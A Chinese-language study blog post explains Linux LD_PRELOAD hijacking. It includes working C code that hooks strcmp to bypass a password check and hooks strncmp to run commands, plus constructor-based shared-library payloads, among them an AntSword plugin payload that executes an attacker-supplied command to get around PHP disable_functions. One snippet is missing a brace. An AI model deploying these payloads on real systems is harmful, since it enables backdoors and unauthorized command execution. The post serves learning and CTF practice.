LD_PRELOAD学习

前言

做题遇到这个东西,查了一下,原来是以前disable_functions的,但是没有深入研究过,现在看看。

LD_PRELOAD

在学习LD_PRELOAD前需要了解一下什么是链接

链接

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
  • 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
  • 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

我们在加载动态链接的时候,需要使用一个动态链接库,其作用在于当动态库中的函数发生变化时,对于可执行程序来说是透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。也就是说可执行程序虽然用得还是那些函数,但是可能函数的内容已经发生了变化,但是可执行程序将直接执行这个变化。但是如果这个动态加载的函数是恶意的(指的就是前面的变化),那么就会带来恶意的执行结果。

定义

1.LD_PRELOAD是linux系统中的一个环境变量
2.它可以影响程序的运行时的链接,允许你定义 :在程序运行前优先加载 的动态链接库。即可以有选择性的载入 不同动态链接库中的相同函数。

通过这个环境变量,我们可以在自定义加载动态链接库,甚至覆盖原本的正常函数库,以达到特定的目的。

LD_PRELOAD Hook

因为LD_PRELOAD可以指定在程序运行前的动态链接库,所我们可以重写程序运行过程中所调用的函数,并编译成动态链接库文件,然后通过修改LD_PRELOAD变量,让程序优先加载这个恶意动态链接库,最后当程序再次运行时便会加载动态链接库里的恶意函数。

具体步骤如下

1.定义与目标函数完全一样的函数,包括名称、变量、及类型返回值
2.将包含替换函数的源码编译为动态链接库
3.通过命令export LD_PRELOAD='库文件路径',设置要优先替换的动态链接库
4.替换结束,要还原函数调用关系,用命令unset LD_PRELOAD接触

实例:

在验证密码的时候,一般是使用strcmp进行对比,

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <given-password>\n", argv[0]);
return 0;
}
if (!strcmp(passwd, argv[1])) {
printf("\033[0;32;32mPassword Correct!\n\033[m");
return 1;
} else {
printf("\033[0;32;31mPassword Wrong!\n\033[m");
return 0;
}
}

进行编译

gcc passcheck.c -o passcheck
img

改写一下strcmp同名函数,实现劫持功能:

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1,const char *s2)
if (getenv("LD_PRELOAD")==NULL){
return 0;
}
unsetenv("LD_PRELOAD");
return 0;
}
  • 此时我们通过LD_PRELOAD劫持了strcmp函数,并启动了一个新进程,为避免陷入劫持循环,必须得删除LD_PRELOAD

执行命令编译生成ho*.so

gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so

然后通过设置环境变量,使得hook.strcmp.so能被调用它的程序优先加载

export LD_PRELOAD=$PWD/hook_strcmp.so

img

此时结果都为correct,也即劫持了strcmp函数

其实也很好理解,此时strcmp已经丧失原本对比的功能了,此时的strcmp的内部构造为,无论如何都返回0,然后经过!的取反处理,则变成了1.所以都是password correct

要还原的话使用

unset LD_PRELOAD

否则所有有调用此函数的命令都无法正常使用

LD_PRELOAD制作后门

根据上面的知识,我们可以知道,通过LD_PRELOAD可以动态替换一些已经定义好的函数,但是有几个问题,我们从头捋一下,我们要后门执行命令,就说明需要调用一个进程,然后再去定点修改这个进程所调用的函数。

看了一下,都有一下函数可以使用

img

先以ls为例,首先查看 ls 这一系统命令会调用哪些库函数:

readelf -Ws /usr/bin/ls

选择函数进行重写,但是不知道为啥这里查看不到,可能是版本问题吧

直接进行改写

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("id");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) { // 这里函数的定义可以根据报错信息进行确定
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

此时替换成功

img

根据此思路 可以使用一些反弹shell的命令

实战

总结一下要使用LD_PRELOAD实现rce需要以下几点

1.具有设置环境变量的权限
2.可以启动新进程
3.能够上传文件(.so)

但是要找到一个函数去替换是比较困难的,所以可以使用 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在动态链接库中,那么一旦动态链接库被系统加载,将立即执行 __attribute__((constructor)) 修饰的函数。这样,我们就不用局限于仅劫持某一函数,而应考虑劫持动态链接库了,也可以说是劫持了一个新进程。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
system("id");
}

蚁剑插件脚本

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

一点思考

其实要想利用这个环境变量,最关键的还是要找到能够自启动的进程。

https://whoamianony.top/2021/10/22/Web%E5%AE%89%E5%85%A8/%E6%9C%89%E8%B6%A3%E7%9A%84%20LD_PRELOAD/

Author

vague huang

Posted on

2022-02-08

Updated on

2022-02-09

Licensed under

Comments